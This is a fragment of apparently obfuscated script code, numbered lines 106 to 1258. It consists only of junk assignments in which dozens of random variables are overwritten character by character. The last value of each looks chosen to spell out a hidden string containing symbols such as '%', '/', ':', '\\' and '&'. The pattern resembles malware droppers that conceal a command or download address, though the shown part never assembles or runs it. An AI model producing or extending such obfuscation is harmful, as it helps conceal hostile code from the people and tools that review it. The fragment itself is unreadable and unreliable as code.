106	ansvykw = "I";
107	ansvykw = "n";
108	ansvykw = "a";
109	ansvykw = "v";
110	ansvykw = "Z";
111	ansvykw = "a";
112	ansvykw = "y";
113	ansvykw = "l";
114	ansvykw = "h";
115	ansvykw = "a";
116	ansvykw = "Q";
117	ansvykw = "Y";
118	ansvykw = "w";
119	ansvykw = "U";
120	ansvykw = "K";
121	ansvykw = "A";
122	ansvykw = "M";
123	ansvykw = "s";
124	ansvykw = "S";
125	ansvykw = "L";
126	ansvykw = "J";
127	ansvykw = "F";
128	ansvykw = "F";
129	ansvykw = "L";
130	ansvykw = "E";
131	ansvykw = "T";
132	ansvykw = "G";
133	ansvykw = "t";
134	ansvykw = "n";
135	ansvykw = "n";
136	ansvykw = "%";
137	jrhtrhmc = "e";
138	jrhtrhmc = "X";
139	jrhtrhmc = "T";
140	jrhtrhmc = "w";
141	jrhtrhmc = "R";
142	jrhtrhmc = "-";
143	jjcpko = "S";
144	jjcpko = "f";
145	jjcpko = "K";
146	jjcpko = "q";
147	jjcpko = "Q";
148	jjcpko = "H";
149	jjcpko = "c";
150	jjcpko = "K";
151	jjcpko = "p";
152	jjcpko = "s";
153	jjcpko = "J";
154	jjcpko = "W";
155	jjcpko = "k";
156	jjcpko = "V";
157	jjcpko = "g";
158	jjcpko = "V";
159	jjcpko = "c";
160	jjcpko = "V";
161	jjcpko = "I";
162	jjcpko = "c";
163	jjcpko = "q";
164	jjcpko = "y";
165	jjcpko = "j";
166	jjcpko = "Z";
167	jjcpko = "v";
168	jjcpko = "B";
169	jjcpko = "A";
170	jjcpko = "C";
171	jjcpko = "j";
172	jjcpko = "l";
173	jjcpko = "w";
174	jjcpko = "T";
175	jjcpko = "q";
176	jjcpko = "l";
177	cemnverq = "X";
178	cemnverq = "H";
179	cemnverq = "S";
180	cemnverq = "b";
181	cemnverq = "g";
182	cemnverq = "A";
183	cemnverq = "U";
184	cemnverq = "W";
185	cemnverq = "b";
186	cemnverq = "i";
187	cemnverq = "N";
188	cemnverq = "L";
189	cemnverq = "H";
190	cemnverq = "c";
191	cemnverq = "y";
192	cemnverq = "g";
193	cemnverq = "a";
194	cemnverq = "S";
195	cemnverq = "h";
196	cemnverq = "D";
197	cemnverq = "K";
198	vzghbfu = "i";
199	vzghbfu = "C";
200	vzghbfu = "t";
201	vzghbfu = "W";
202	vzghbfu = "C";
203	vzghbfu = "y";
204	vzghbfu = "s";
205	vzghbfu = "e";
206	vzghbfu = "H";
207	vzghbfu = "e";
208	vzghbfu = "d";
209	vzghbfu = "w";
210	vzghbfu = "p";
211	vzghbfu = "i";
212	vzghbfu = "V";
213	vzghbfu = "j";
214	vzghbfu = "d";
215	vzghbfu = "Q";
216	vzghbfu = "v";
217	vzghbfu = "V";
218	vzghbfu = "a";
219	vzghbfu = "z";
220	vzghbfu = "e";
221	vzghbfu = "U";
222	vzghbfu = "m";
223	vzghbfu = "q";
224	tebizdh = "c";
225	tebizdh = "s";
226	tebizdh = "b";
227	tebizdh = "Q";
228	tebizdh = "H";
229	tebizdh = "x";
230	tebizdh = "P";
231	tebizdh = "h";
232	tebizdh = "b";
233	tebizdh = "E";
234	tebizdh = "b";
235	tebizdh = "d";
236	tebizdh = "t";
237	tebizdh = "R";
238	tebizdh = "S";
239	tebizdh = "d";
240	olipkki = "b";
241	olipkki = "P";
242	olipkki = "C";
243	olipkki = "K";
244	olipkki = "E";
245	olipkki = "c";
246	olipkki = "R";
247	olipkki = "R";
248	olipkki = "o";
249	olipkki = "X";
250	olipkki = "G";
251	olipkki = "M";
252	olipkki = "U";
253	olipkki = "m";
254	olipkki = "Y";
255	derhlnuyt = "H";
256	derhlnuyt = "p";
257	derhlnuyt = "l";
258	derhlnuyt = "K";
259	derhlnuyt = "K";
260	derhlnuyt = "T";
261	derhlnuyt = "d";
262	derhlnuyt = "U";
263	derhlnuyt = "v";
264	derhlnuyt = "J";
265	derhlnuyt = "o";
266	derhlnuyt = "v";
267	derhlnuyt = "f";
268	derhlnuyt = "D";
269	derhlnuyt = "r";
270	derhlnuyt = "b";
271	derhlnuyt = "u";
272	derhlnuyt = "P";
273	derhlnuyt = "Z";
274	derhlnuyt = "h";
275	derhlnuyt = "m";
276	derhlnuyt = "c";
277	derhlnuyt = "x";
278	derhlnuyt = "q";
279	derhlnuyt = "d";
280	derhlnuyt = "d";
281	derhlnuyt = "J";
282	derhlnuyt = "f";
283	derhlnuyt = "c";
284	derhlnuyt = "i";
285	derhlnuyt = "e";
286	derhlnuyt = "S";
287	derhlnuyt = "T";
288	rxxsj = "t";
289	rxxsj = "L";
290	rxxsj = "a";
291	rxxsj = "K";
292	rxxsj = "U";
293	rxxsj = "Q";
294	rxxsj = "c";
295	rxxsj = "g";
296	rxxsj = "q";
297	rxxsj = "n";
298	rxxsj = "R";
299	rxxsj = "t";
300	rxxsj = "c";
301	rxxsj = "S";
302	rxxsj = "M";
303	rxxsj = "c";
304	rxxsj = "k";
305	rxxsj = "S";
306	rxxsj = "k";
307	rxxsj = "y";
308	rxxsj = "M";
309	rxxsj = "M";
310	rxxsj = "m";
311	rxxsj = "O";
312	rxxsj = "T";
313	rxxsj = "K";
314	rxxsj = "O";
315	rxxsj = "Z";
316	rxxsj = "k";
317	rxxsj = "B";
318	rxxsj = "T";
319	rxxsj = "S";
320	rxxsj = "Z";
321	rxxsj = "Q";
322	rxxsj = "z";
323	rxxsj = "l";
324	rxxsj = "C";
325	rxxsj = "F";
326	rxxsj = "H";
327	rxxsj = "y";
328	rxxsj = "a";
329	rxxsj = "s";
330	bstcp = "H";
331	bstcp = "E";
332	bstcp = "C";
333	bstcp = "j";
334	bstcp = "P";
335	bstcp = "Y";
336	bstcp = "W";
337	bstcp = "C";
338	bstcp = "l";
339	bstcp = "I";
340	bstcp = "m";
341	bstcp = "P";
342	bstcp = "Y";
343	bstcp = "P";
344	bstcp = "v";
345	bstcp = "V";
346	bstcp = "f";
347	bstcp = "z";
348	bstcp = "i";
349	bstcp = "Z";
350	bstcp = "j";
351	bstcp = "d";
352	bstcp = "q";
353	bstcp = "o";
354	bstcp = "K";
355	bstcp = "k";
356	bstcp = "J";
357	bstcp = "N";
358	bstcp = "S";
359	bstcp = "K";
360	bstcp = "f";
361	bstcp = "h";
362	bstcp = "X";
363	bstcp = "Z";
364	bstcp = "V";
365	bstcp = "c";
366	qbprp = "t";
367	qbprp = "S";
368	qbprp = "h";
369	qbprp = "U";
370	qbprp = "N";
371	qbprp = "a";
372	qbprp = "B";
373	qbprp = "g";
374	qbprp = "G";
375	qbprp = "S";
376	qbprp = "s";
377	qbprp = "f";
378	qbprp = "W";
379	qbprp = "y";
380	qbprp = "N";
381	qbprp = "E";
382	qbprp = "U";
383	qbprp = "X";
384	qbprp = "e";
385	qbprp = "i";
386	qbprp = "a";
387	qbprp = "F";
388	qbprp = "Q";
389	qbprp = "e";
390	qbprp = "Z";
391	qbprp = "L";
392	qbprp = "d";
393	qbprp = "F";
394	qbprp = "y";
395	qbprp = "z";
396	qbprp = "f";
397	qbprp = "G";
398	qbprp = "r";
399	qbprp = "S";
400	qbprp = "g";
401	sjmzbsrwp = "p";
402	sjmzbsrwp = "e";
403	sjmzbsrwp = "w";
404	sjmzbsrwp = "Y";
405	sjmzbsrwp = "M";
406	sjmzbsrwp = "k";
407	sjmzbsrwp = "m";
408	sjmzbsrwp = "r";
409	sjmzbsrwp = "V";
410	sjmzbsrwp = "T";
411	sjmzbsrwp = "f";
412	sjmzbsrwp = "C";
413	sjmzbsrwp = "f";
414	sjmzbsrwp = "r";
415	sjmzbsrwp = "e";
416	sjmzbsrwp = "R";
417	sjmzbsrwp = "D";
418	sjmzbsrwp = "P";
419	sjmzbsrwp = "f";
420	sjmzbsrwp = "t";
421	sjmzbsrwp = "T";
422	sjmzbsrwp = "S";
423	sjmzbsrwp = "I";
424	sjmzbsrwp = "E";
425	sjmzbsrwp = "N";
426	sjmzbsrwp = "e";
427	sjmzbsrwp = "i";
428	sjmzbsrwp = "c";
429	sjmzbsrwp = "B";
430	sjmzbsrwp = "f";
431	sjmzbsrwp = "v";
432	sjmzbsrwp = "h";
433	sjmzbsrwp = "i";
434	sjmzbsrwp = "l";
435	sjmzbsrwp = "v";
436	sjmzbsrwp = "X";
437	sjmzbsrwp = "C";
438	sjmzbsrwp = "n";
439	sjmzbsrwp = "d";
440	sjmzbsrwp = "l";
441	sjmzbsrwp = " ";
442	gzmfa = "L";
443	gzmfa = "k";
444	gzmfa = "C";
445	gzmfa = "N";
446	gzmfa = "T";
447	gzmfa = "e";
448	gzmfa = "J";
449	gzmfa = "x";
450	gzmfa = "o";
451	gzmfa = "c";
452	gzmfa = "X";
453	gzmfa = "e";
454	gzmfa = "w";
455	gzmfa = "c";
456	gzmfa = "T";
457	gzmfa = "s";
458	gzmfa = "N";
459	gzmfa = "p";
460	gzmfa = "x";
461	gzmfa = "U";
462	gzmfa = "q";
463	gzmfa = "b";
464	gzmfa = "G";
465	gzmfa = "i";
466	gzmfa = "z";
467	gzmfa = "G";
468	gzmfa = "L";
469	rxnqifd = "Q";
470	rxnqifd = "L";
471	rxnqifd = "n";
472	rxnqifd = "O";
473	lscnqjmk = "r";
474	lscnqjmk = "l";
475	lscnqjmk = "C";
476	lscnqjmk = "b";
477	lscnqjmk = "c";
478	lscnqjmk = "Q";
479	lscnqjmk = "y";
480	lscnqjmk = "j";
481	lscnqjmk = "B";
482	lscnqjmk = "K";
483	lscnqjmk = "l";
484	lscnqjmk = "t";
485	lscnqjmk = "n";
486	lscnqjmk = "/";
487	fpkerkemy = "J";
488	fpkerkemy = "n";
489	fpkerkemy = "w";
490	fpkerkemy = "P";
491	fpkerkemy = "e";
492	fpkerkemy = "p";
493	fpkerkemy = "c";
494	fpkerkemy = "f";
495	fpkerkemy = "L";
496	fpkerkemy = "G";
497	fpkerkemy = "w";
498	fpkerkemy = "t";
499	fpkerkemy = "J";
500	fpkerkemy = "Q";
501	fpkerkemy = "C";
502	fpkerkemy = "z";
503	fpkerkemy = "q";
504	fpkerkemy = "K";
505	fpkerkemy = "b";
506	fpkerkemy = "r";
507	fpkerkemy = "H";
508	fpkerkemy = "V";
509	fpkerkemy = "o";
510	fpkerkemy = "p";
511	fpkerkemy = "N";
512	fpkerkemy = "n";
513	fpkerkemy = "n";
514	fpkerkemy = "N";
515	fpkerkemy = "R";
516	fpkerkemy = "V";
517	fpkerkemy = "Z";
518	fpkerkemy = "Z";
519	fpkerkemy = "Z";
520	fpkerkemy = "z";
521	fpkerkemy = "y";
522	fpkerkemy = "T";
523	fpkerkemy = "H";
524	fpkerkemy = "3";
525	wqlojrvpq = "d";
526	wqlojrvpq = "z";
527	wqlojrvpq = "E";
528	wqlojrvpq = "f";
529	wqlojrvpq = "u";
530	wqlojrvpq = "G";
531	wqlojrvpq = "e";
532	ffydjt = "z";
533	ffydjt = "k";
534	ffydjt = "h";
535	ffydjt = "H";
536	ffydjt = "k";
537	ffydjt = "k";
538	ffydjt = "Q";
539	ffydjt = "c";
540	ffydjt = "O";
541	ffydjt = "I";
542	ffydjt = "e";
543	ffydjt = "H";
544	ffydjt = "e";
545	ffydjt = "Z";
546	ffydjt = "K";
547	ffydjt = "P";
548	ffydjt = "Y";
549	ffydjt = "Y";
550	ffydjt = "e";
551	ffydjt = "i";
552	ffydjt = "t";
553	yrwyaref = "x";
554	yrwyaref = "A";
555	yrwyaref = "C";
556	yrwyaref = "j";
557	yrwyaref = "t";
558	yrwyaref = "j";
559	yrwyaref = "a";
560	yrwyaref = "B";
561	yrwyaref = "W";
562	yrwyaref = "K";
563	yrwyaref = "T";
564	yrwyaref = "o";
565	yrwyaref = "g";
566	yrwyaref = "J";
567	yrwyaref = "X";
568	yrwyaref = "J";
569	yrwyaref = "F";
570	yrwyaref = "H";
571	yrwyaref = "f";
572	yrwyaref = "N";
573	yrwyaref = "N";
574	yrwyaref = "e";
575	yrwyaref = "2";
576	iifhhick = "b";
577	iifhhick = "H";
578	iifhhick = "I";
579	iifhhick = "Z";
580	iifhhick = "M";
581	iifhhick = "k";
582	iifhhick = "g";
583	iifhhick = "E";
584	iifhhick = "t";
585	iifhhick = "s";
586	iifhhick = "j";
587	iifhhick = "X";
588	iifhhick = "n";
589	iifhhick = "o";
590	oupaojo = "Z";
591	oupaojo = "X";
592	oupaojo = "v";
593	oupaojo = "v";
594	oupaojo = "A";
595	oupaojo = "d";
596	oupaojo = "X";
597	oupaojo = "j";
598	oupaojo = "k";
599	oupaojo = "p";
600	fchfasznr = "y";
601	fchfasznr = "I";
602	fchfasznr = "p";
603	fchfasznr = "C";
604	fchfasznr = "y";
605	fchfasznr = "l";
606	fchfasznr = "r";
607	fchfasznr = "P";
608	fchfasznr = "a";
609	fchfasznr = "x";
610	fchfasznr = "n";
611	fchfasznr = "u";
612	fchfasznr = "E";
613	fchfasznr = "r";
614	fchfasznr = "A";
615	fchfasznr = "k";
616	fchfasznr = "l";
617	fchfasznr = "s";
618	fchfasznr = "y";
619	fchfasznr = "r";
620	fchfasznr = "h";
621	fchfasznr = "b";
622	fchfasznr = "m";
623	fchfasznr = "R";
624	fchfasznr = "D";
625	fchfasznr = "F";
626	fchfasznr = "p";
627	fchfasznr = "P";
628	fchfasznr = "n";
629	fchfasznr = "G";
630	fchfasznr = "L";
631	fchfasznr = "a";
632	fchfasznr = "r";
633	fchfasznr = "x";
634	fchfasznr = "z";
635	fchfasznr = "s";
636	fchfasznr = "T";
637	fchfasznr = "i";
638	lsqfa = "L";
639	lsqfa = "w";
640	lsqfa = "k";
641	lsqfa = "Z";
642	lsqfa = "p";
643	lsqfa = "I";
644	lsqfa = "s";
645	lsqfa = "q";
646	lsqfa = "n";
647	lsqfa = "j";
648	lsqfa = "c";
649	lsqfa = "T";
650	lsqfa = "V";
651	lsqfa = "O";
652	lsqfa = "a";
653	lsqfa = "M";
654	lsqfa = "p";
655	lsqfa = "d";
656	lsqfa = "j";
657	lsqfa = "X";
658	lsqfa = "D";
659	lsqfa = "q";
660	lsqfa = "P";
661	lsqfa = "K";
662	lsqfa = "V";
663	lsqfa = "k";
664	lsqfa = "R";
665	lsqfa = "Y";
666	lsqfa = "U";
667	lsqfa = "r";
668	lsqfa = "R";
669	lsqfa = "D";
670	lsqfa = "G";
671	lsqfa = "c";
672	lsqfa = "C";
673	lsqfa = "C";
674	lsqfa = "B";
675	lsqfa = "h";
676	lsqfa = "J";
677	lsqfa = "c";
678	lsqfa = "f";
679	lsqfa = "&";
680	lingagrkb = "Z";
681	lingagrkb = "x";
682	lingagrkb = "A";
683	lingagrkb = "b";
684	lingagrkb = "p";
685	lingagrkb = "j";
686	lingagrkb = "C";
687	lingagrkb = "e";
688	lingagrkb = "h";
689	lingagrkb = "l";
690	lingagrkb = "K";
691	lingagrkb = "A";
692	lingagrkb = "j";
693	lingagrkb = "e";
694	lingagrkb = "n";
695	lingagrkb = "d";
696	lingagrkb = "N";
697	lingagrkb = "t";
698	lingagrkb = "A";
699	lingagrkb = "c";
700	lingagrkb = "h";
701	lingagrkb = "K";
702	lingagrkb = "I";
703	lingagrkb = "a";
704	lingagrkb = "Q";
705	wrqxv = "G";
706	wrqxv = "H";
707	wrqxv = "r";
708	wrqxv = "G";
709	wrqxv = "o";
710	wrqxv = "F";
711	wrqxv = "F";
712	wrqxv = "F";
713	wrqxv = "Z";
714	wrqxv = "V";
715	wrqxv = "I";
716	wrqxv = "u";
717	wrqxv = "A";
718	wrqxv = "b";
719	wrqxv = "h";
720	wrqxv = "I";
721	wrqxv = "c";
722	wrqxv = "T";
723	wrqxv = "q";
724	wrqxv = "c";
725	wrqxv = "U";
726	wrqxv = "Z";
727	wrqxv = "f";
728	wrqxv = "r";
729	wrqxv = "y";
730	wrqxv = "y";
731	wrqxv = "x";
732	wrqxv = "S";
733	wrqxv = "S";
734	wrqxv = "P";
735	wrqxv = "g";
736	wrqxv = "C";
737	wrqxv = "G";
738	wrqxv = "E";
739	wrqxv = "I";
740	wrqxv = "v";
741	wrqxv = "N";
742	wrqxv = "u";
743	wrqxv = "v";
744	jdglw = "H";
745	jdglw = "c";
746	jdglw = "v";
747	jdglw = "J";
748	jdglw = "f";
749	jdglw = "A";
750	jdglw = "B";
751	jdglw = "H";
752	jdglw = "o";
753	jdglw = "a";
754	jdglw = "K";
755	jdglw = "U";
756	jdglw = "E";
757	jdglw = "L";
758	jdglw = "b";
759	jdglw = "I";
760	jdglw = "p";
761	jdglw = "v";
762	jdglw = "a";
763	jdglw = "P";
764	jdglw = "t";
765	jdglw = "T";
766	jdglw = "r";
767	jdglw = "G";
768	jdglw = "p";
769	jdglw = "f";
770	jdglw = "H";
771	jdglw = "R";
772	jdglw = "E";
773	jdglw = "t";
774	jdglw = "l";
775	jdglw = "Z";
776	jdglw = "H";
777	jdglw = "j";
778	jdglw = "p";
779	jdglw = "l";
780	jdglw = "M";
781	jdglw = "k";
782	jdglw = "I";
783	jdglw = "w";
784	jdglw = "4";
785	rmvtpxg = "a";
786	rmvtpxg = "R";
787	rmvtpxg = "p";
788	rmvtpxg = "w";
789	rmvtpxg = "n";
790	rmvtpxg = "S";
791	rmvtpxg = "Y";
792	rmvtpxg = "Q";
793	rmvtpxg = "T";
794	rmvtpxg = "U";
795	rmvtpxg = "b";
796	rmvtpxg = "k";
797	rmvtpxg = "F";
798	rmvtpxg = "V";
799	rmvtpxg = "A";
800	rmvtpxg = "G";
801	rmvtpxg = ":";
802	jtfvtx = "e";
803	jtfvtx = "h";
804	jtfvtx = "h";
805	jtfvtx = "w";
806	jtfvtx = "a";
807	jtfvtx = "m";
808	jtfvtx = "s";
809	jtfvtx = "h";
810	jtfvtx = "h";
811	jtfvtx = "T";
812	jtfvtx = "R";
813	jtfvtx = "y";
814	jtfvtx = "e";
815	jtfvtx = "g";
816	jtfvtx = "B";
817	jtfvtx = "c";
818	jtfvtx = "X";
819	jtfvtx = "B";
820	jtfvtx = "E";
821	jtfvtx = "O";
822	jtfvtx = "F";
823	jtfvtx = "L";
824	jtfvtx = "z";
825	jtfvtx = "i";
826	jtfvtx = "H";
827	jtfvtx = "r";
828	jtfvtx = "Y";
829	jtfvtx = "s";
830	jtfvtx = "w";
831	jtfvtx = "T";
832	jtfvtx = "j";
833	zejvmsp = "a";
834	zejvmsp = "K";
835	zejvmsp = "b";
836	zejvmsp = "a";
837	zejvmsp = "h";
838	zejvmsp = "y";
839	zejvmsp = "n";
840	zejvmsp = "H";
841	zejvmsp = "I";
842	zejvmsp = "V";
843	zejvmsp = "L";
844	zejvmsp = "g";
845	zejvmsp = "r";
846	zejvmsp = "L";
847	zejvmsp = "r";
848	wncgm = "r";
849	wncgm = "x";
850	wncgm = "g";
851	wncgm = "S";
852	wncgm = "l";
853	wncgm = "E";
854	wncgm = "q";
855	wncgm = "J";
856	wncgm = "l";
857	wncgm = "Q";
858	wncgm = "N";
859	wncgm = "h";
860	wncgm = "T";
861	wncgm = "I";
862	wncgm = "y";
863	wncgm = "R";
864	wncgm = "D";
865	wncgm = "L";
866	wncgm = "I";
867	wncgm = "C";
868	wncgm = "Z";
869	wncgm = "T";
870	wncgm = "i";
871	wncgm = "H";
872	wncgm = "x";
873	wncgm = "d";
874	wncgm = "O";
875	wncgm = "G";
876	wncgm = "\\";
877	vxisinc = "P";
878	dlrhiba = "k";
879	dlrhiba = "I";
880	dlrhiba = "p";
881	dlrhiba = "t";
882	dlrhiba = "T";
883	dlrhiba = "y";
884	dlrhiba = "r";
885	dlrhiba = "D";
886	dlrhiba = "D";
887	dlrhiba = "W";
888	dlrhiba = "m";
889	dlrhiba = "c";
890	dlrhiba = "q";
891	dlrhiba = "V";
892	dlrhiba = "9";
893	iudtliyzk = "Z";
894	iudtliyzk = "w";
895	iudtliyzk = "o";
896	iudtliyzk = "f";
897	iudtliyzk = "H";
898	iudtliyzk = "A";
899	iudtliyzk = "s";
900	iudtliyzk = "p";
901	iudtliyzk = "r";
902	iudtliyzk = "M";
903	iudtliyzk = "k";
904	iudtliyzk = "e";
905	iudtliyzk = "I";
906	iudtliyzk = "Y";
907	iudtliyzk = "T";
908	iudtliyzk = "b";
909	iudtliyzk = "p";
910	iudtliyzk = "h";
911	iudtliyzk = "l";
912	iudtliyzk = "u";
913	iudtliyzk = "I";
914	iudtliyzk = "b";
915	iudtliyzk = "g";
916	iudtliyzk = "k";
917	iudtliyzk = "U";
918	iudtliyzk = "F";
919	iudtliyzk = "p";
920	iudtliyzk = "u";
921	iudtliyzk = "g";
922	iudtliyzk = "L";
923	iudtliyzk = "b";
924	iudtliyzk = "M";
925	iudtliyzk = "T";
926	iudtliyzk = "I";
927	iudtliyzk = "w";
928	iudtliyzk = "I";
929	zorqhidm = "N";
930	zorqhidm = "w";
931	zorqhidm = "K";
932	zorqhidm = "X";
933	zorqhidm = "A";
934	zorqhidm = "b";
935	zorqhidm = "D";
936	zorqhidm = "a";
937	zorqhidm = "h";
938	zorqhidm = "W";
939	zorqhidm = "Y";
940	zorqhidm = "Z";
941	zorqhidm = "M";
942	zorqhidm = "v";
943	zorqhidm = "J";
944	zorqhidm = "p";
945	zorqhidm = "c";
946	zorqhidm = "F";
947	zorqhidm = "D";
948	zorqhidm = "T";
949	zorqhidm = "U";
950	qefpi = "Z";
951	qefpi = "C";
952	qefpi = "r";
953	qefpi = "M";
954	qefpi = "X";
955	qefpi = "m";
956	qefpi = "y";
957	qefpi = "B";
958	qefpi = "z";
959	qefpi = "Q";
960	qefpi = "J";
961	qefpi = "b";
962	qefpi = "E";
963	qefpi = "z";
964	qefpi = "U";
965	qefpi = "t";
966	qefpi = "s";
967	qefpi = "S";
968	qefpi = "d";
969	qefpi = "d";
970	qefpi = "z";
971	qefpi = "V";
972	qefpi = "R";
973	qefpi = "g";
974	qefpi = "n";
975	qefpi = "I";
976	qefpi = "O";
977	qefpi = "T";
978	qefpi = "k";
979	qefpi = "H";
980	qefpi = "w";
981	qefpi = "S";
982	qefpi = "L";
983	qefpi = "q";
984	qefpi = "e";
985	qefpi = "V";
986	qefpi = "a";
987	qefpi = "m";
988	qefpi = "h";
989	qefpi = "g";
990	qefpi = "5";
991	ampxxe = "f";
992	ampxxe = "F";
993	ampxxe = "q";
994	ampxxe = "L";
995	ampxxe = "q";
996	ampxxe = "V";
997	ampxxe = "j";
998	ampxxe = "K";
999	ampxxe = "o";
1000	ampxxe = "P";
1001	ampxxe = "b";
1002	ampxxe = "r";
1003	ampxxe = "o";
1004	ampxxe = "j";
1005	ampxxe = "M";
1006	ampxxe = "v";
1007	ampxxe = "B";
1008	ampxxe = "g";
1009	ampxxe = "V";
1010	ampxxe = "H";
1011	ampxxe = "z";
1012	ampxxe = "E";
1013	yfgcmkw = "B";
1014	yfgcmkw = "l";
1015	yfgcmkw = "r";
1016	yfgcmkw = "B";
1017	yfgcmkw = "U";
1018	yfgcmkw = "a";
1019	yfgcmkw = "v";
1020	yfgcmkw = "n";
1021	yfgcmkw = "O";
1022	yfgcmkw = "B";
1023	yfgcmkw = "U";
1024	yfgcmkw = "g";
1025	yfgcmkw = "G";
1026	yfgcmkw = "E";
1027	yfgcmkw = "p";
1028	yfgcmkw = "t";
1029	yfgcmkw = "v";
1030	yfgcmkw = "W";
1031	yfgcmkw = "j";
1032	yfgcmkw = "c";
1033	yfgcmkw = "y";
1034	yfgcmkw = "l";
1035	yfgcmkw = "p";
1036	yfgcmkw = "p";
1037	yfgcmkw = "R";
1038	yfgcmkw = "x";
1039	yfgcmkw = "O";
1040	yfgcmkw = "r";
1041	yfgcmkw = "X";
1042	yfgcmkw = "v";
1043	yfgcmkw = "f";
1044	yfgcmkw = "@";
1045	hflrraoa = "s";
1046	hflrraoa = "G";
1047	hflrraoa = "O";
1048	hflrraoa = "j";
1049	hflrraoa = "D";
1050	hflrraoa = "G";
1051	hflrraoa = "Q";
1052	hflrraoa = "j";
1053	hflrraoa = "G";
1054	hflrraoa = "L";
1055	hflrraoa = "E";
1056	hflrraoa = "w";
1057	hflrraoa = "a";
1058	hflrraoa = "i";
1059	hflrraoa = "c";
1060	hflrraoa = "s";
1061	hflrraoa = "b";
1062	hflrraoa = "Z";
1063	hflrraoa = "Z";
1064	hflrraoa = "a";
1065	hflrraoa = "f";
1066	hflrraoa = "e";
1067	hflrraoa = "V";
1068	hflrraoa = "O";
1069	hflrraoa = "q";
1070	hflrraoa = "x";
1071	hflrraoa = "S";
1072	hflrraoa = "z";
1073	hflrraoa = "M";
1074	hflrraoa = "h";
1075	xhrup = "t";
1076	xhrup = "k";
1077	xhrup = "S";
1078	xhrup = "f";
1079	xhrup = "p";
1080	xhrup = "c";
1081	xhrup = "w";
1082	xhrup = "Y";
1083	xhrup = "I";
1084	xhrup = "D";
1085	xhrup = "m";
1086	wkzuaohxr = "s";
1087	wkzuaohxr = "F";
1088	wkzuaohxr = "W";
1089	wkzuaohxr = "h";
1090	wkzuaohxr = "H";
1091	wkzuaohxr = "g";
1092	wkzuaohxr = "w";
1093	wkzuaohxr = "h";
1094	wkzuaohxr = "E";
1095	wkzuaohxr = "g";
1096	wkzuaohxr = "D";
1097	wkzuaohxr = "F";
1098	wkzuaohxr = "z";
1099	wkzuaohxr = "f";
1100	wkzuaohxr = "y";
1101	wkzuaohxr = "l";
1102	wkzuaohxr = "s";
1103	wkzuaohxr = "X";
1104	wkzuaohxr = "J";
1105	wkzuaohxr = "p";
1106	wkzuaohxr = "D";
1107	wkzuaohxr = "J";
1108	wkzuaohxr = "m";
1109	wkzuaohxr = "D";
1110	wkzuaohxr = "T";
1111	wkzuaohxr = "B";
1112	wkzuaohxr = "W";
1113	wkzuaohxr = "V";
1114	wkzuaohxr = "H";
1115	wkzuaohxr = "c";
1116	wkzuaohxr = "u";
1117	ujlaaqt = "E";
1118	ujlaaqt = "g";
1119	ujlaaqt = "i";
1120	ujlaaqt = "F";
1121	ujlaaqt = "J";
1122	ujlaaqt = "u";
1123	ujlaaqt = "O";
1124	ujlaaqt = "W";
1125	ujlaaqt = "N";
1126	ujlaaqt = "l";
1127	ujlaaqt = "D";
1128	ujlaaqt = "M";
1129	ujlaaqt = "q";
1130	ujlaaqt = "b";
1131	ujlaaqt = "t";
1132	ujlaaqt = "i";
1133	ujlaaqt = "P";
1134	ujlaaqt = "A";
1135	ujlaaqt = "t";
1136	ujlaaqt = "W";
1137	ujlaaqt = "Q";
1138	ujlaaqt = "U";
1139	ujlaaqt = "W";
1140	ujlaaqt = "e";
1141	ujlaaqt = "C";
1142	ujlaaqt = "S";
1143	ujlaaqt = "h";
1144	ujlaaqt = ".";
1145	inxfxdgs = "N";
1146	inxfxdgs = "t";
1147	inxfxdgs = "Q";
1148	inxfxdgs = "L";
1149	inxfxdgs = "i";
1150	inxfxdgs = "z";
1151	inxfxdgs = "C";
1152	inxfxdgs = "T";
1153	inxfxdgs = "l";
1154	inxfxdgs = "p";
1155	inxfxdgs = "X";
1156	inxfxdgs = "g";
1157	inxfxdgs = "U";
1158	inxfxdgs = "Q";
1159	inxfxdgs = "q";
1160	inxfxdgs = "P";
1161	inxfxdgs = "s";
1162	inxfxdgs = "f";
1163	inxfxdgs = "X";
1164	inxfxdgs = "z";
1165	inxfxdgs = "B";
1166	inxfxdgs = "x";
1167	inxfxdgs = "h";
1168	inxfxdgs = "a";
1169	inxfxdgs = "d";
1170	inxfxdgs = "o";
1171	inxfxdgs = "q";
1172	inxfxdgs = "Z";
1173	inxfxdgs = "o";
1174	inxfxdgs = "k";
1175	inxfxdgs = "s";
1176	inxfxdgs = "R";
1177	iemtlevo = "F";
1178	iemtlevo = "S";
1179	iemtlevo = "R";
1180	iemtlevo = "D";
1181	iemtlevo = "u";
1182	iemtlevo = "g";
1183	iemtlevo = "A";
1184	iemtlevo = "D";
1185	iemtlevo = "B";
1186	iemtlevo = "j";
1187	iemtlevo = "k";
1188	iemtlevo = "P";
1189	iemtlevo = "F";
1190	iemtlevo = "c";
1191	iemtlevo = "v";
1192	iemtlevo = "g";
1193	iemtlevo = "V";
1194	iemtlevo = "P";
1195	iemtlevo = "k";
1196	gcsjls = "X";
1197	gcsjls = "w";
1198	gcsjls = "w";
1199	gcsjls = "W";
1200	gcsjls = "V";
1201	gcsjls = "O";
1202	gcsjls = "k";
1203	gcsjls = "D";
1204	gcsjls = "I";
1205	gcsjls = "B";
1206	gcsjls = "d";
1207	gcsjls = "m";
1208	gcsjls = "A";
1209	gcsjls = "M";
1210	gcsjls = "g";
1211	gcsjls = "p";
1212	gcsjls = "g";
1213	gcsjls = "h";
1214	gcsjls = "b";
1215	gcsjls = "Z";
1216	gcsjls = "p";
1217	gcsjls = "f";
1218	gcsjls = "P";
1219	gcsjls = "p";
1220	gcsjls = "k";
1221	gcsjls = "W";
1222	egpbtugn = "A";
1223	egpbtugn = "S";
1224	egpbtugn = "F";
1225	egpbtugn = "O";
1226	egpbtugn = "Q";
1227	egpbtugn = "v";
1228	egpbtugn = "S";
1229	egpbtugn = "c";
1230	egpbtugn = "n";
1231	egpbtugn = "I";
1232	egpbtugn = "P";
1233	egpbtugn = "H";
1234	egpbtugn = "a";
1235	egpbtugn = "l";
1236	egpbtugn = "U";
1237	egpbtugn = "w";
1238	egpbtugn = "N";
1239	egpbtugn = "z";
1240	egpbtugn = "y";
1241	egpbtugn = "D";
1242	egpbtugn = "a";
1243	egpbtugn = "R";
1244	egpbtugn = "K";
1245	egpbtugn = "Y";
1246	egpbtugn = "H";
1247	egpbtugn = "f";
1248	egpbtugn = "t";
1249	egpbtugn = "E";
1250	egpbtugn = "D";
1251	egpbtugn = "U";
1252	egpbtugn = "g";
1253	egpbtugn = "Q";
1254	egpbtugn = "B";
1255	egpbtugn = "8";
1256	jwnoclab = "o";
1257	jwnoclab = "o";
1258	jwnoclab = "g";
